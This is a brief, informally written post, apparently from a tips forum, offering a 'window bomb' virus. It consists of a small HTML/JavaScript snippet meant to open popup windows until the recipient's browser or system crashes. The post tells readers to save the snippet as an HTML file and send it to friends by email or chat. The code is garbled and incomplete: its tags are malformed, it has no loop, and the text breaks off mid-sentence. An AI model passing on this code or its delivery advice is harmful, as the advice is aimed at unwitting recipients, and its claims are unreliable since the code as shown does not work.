one mail can crash ur system
follow this code:
<.TITLE.>WARNING! Infecting Virus!
var iCounter = 0 // dummy counter
window.open("http://www.site.com","CRASHING" + iCounter,"width=1,height=1,resizable=no")
remove . from this script
its simple virus known as window bomb u can just simply copy these code in one notepad file and then save as "anyname.html"not attach that file to ur email and send it to ur friends email or u can just send through while chatting if any one make one batch file